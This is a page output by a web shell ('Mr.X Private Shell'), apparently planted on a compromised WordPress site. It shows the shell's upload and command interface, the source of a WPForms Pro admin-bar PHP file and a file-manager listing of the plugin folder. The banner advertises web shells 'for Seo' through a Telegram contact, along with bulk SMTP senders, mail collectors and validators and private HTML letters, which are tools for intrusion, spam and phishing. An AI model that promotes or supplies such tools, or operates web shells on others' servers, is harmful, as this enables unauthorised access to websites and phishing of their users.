__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace WPForms\Pro\Admin;

/**
 * WPForms admin bar menu.
 *
 * @since 1.6.0
 */
class AdminBarMenu extends \WPForms\Admin\AdminBarMenu {

	/**
	 * Register hooks.
	 *
	 * @since 1.6.0
	 */
	public function hooks() {

		parent::hooks();

		add_filter( 'wpforms_admin_adminbarmenu_get_form_data', [ $this, 'add_entry_links_to_form_menu' ] );

		add_action( 'wpforms_admin_adminbarmenu_register_add_new_menu_after', [ $this, 'entries_menu' ] );
	}

	/**
	 * Check if form contains a survey.
	 *
	 * @since 1.6.0
	 *
	 * @param int $form_id Form ID.
	 *
	 * @return bool
	 */
	public function has_survey( $form_id ) {

		if ( ! function_exists( 'wpforms_surveys_polls' ) ) {
			return false;
		}

		// Get our form data to check if surveys are enabled.
		$form      = wpforms()->obj( 'form' )->get( $form_id );
		$form_data = wpforms_decode( $form->post_content );

		if ( ! empty( $form_data['settings']['survey_enable'] ) ) {
			return true;
		}

		if ( ! empty( $form_data['fields'] ) ) {
			foreach ( $form_data['fields'] as $field ) {
				if ( ! empty( $field['survey'] ) ) {
					return true;
				}
			}
		}

		return false;
	}

	/**
	 * Add entry and survey links to form data array for admin menu bar output.
	 * This gets called multiple times per page load, one for each form on the page.
	 *
	 * @since 1.6.5
	 *
	 * @param array $form_data Current form data.
	 *
	 * @return array Form data with added links.
	 */
	public function add_entry_links_to_form_menu( $form_data ) {

		$form_id = ! empty( $form_data['form_id'] ) ? absint( $form_data['form_id'] ) : 0;

		$form_data['entries_url'] = admin_url( 'admin.php?page=wpforms-entries&view=list&form_id=' . $form_id );

		if ( $this->has_survey( $form_id ) ) {
			$form_data['survey_url'] = admin_url( 'admin.php?page=wpforms-entries&view=survey&form_id=' . $form_id );
		}

		return $form_data;
	}

	/**
	 * Render View Entries admin menu bar sub-item.
	 *
	 * @since 1.6.0
	 *
	 * @param \WP_Admin_Bar $wp_admin_bar WordPress Admin Bar object.
	 */
	public function entries_menu( \WP_Admin_Bar $wp_admin_bar ) {

		$wp_admin_bar->add_menu(
			[
				'parent' => 'wpforms-menu',
				'id'     => 'wpforms-entries',
				'title'  => esc_html__( 'Entries', 'wpforms' ),
				'href'   => admin_url( 'admin.php?page=wpforms-entries' ),
			]
		);
	}
}

Filemanager

Name Type Size Permission Actions
Addons Folder 0750
Builder Folder 0750
Education Folder 0750
Entries Folder 0750
Pages Folder 0750
Settings Folder 0750
AdminBarMenu.php File 2.26 KB 0640
CoreInfoCache.php File 2.04 KB 0640
DashboardWidget.php File 31.6 KB 0640
PluginList.php File 26.46 KB 0640
PluginListDisabler.php File 1.83 KB 0640
SiteHealth.php File 4.31 KB 0640
Filemanager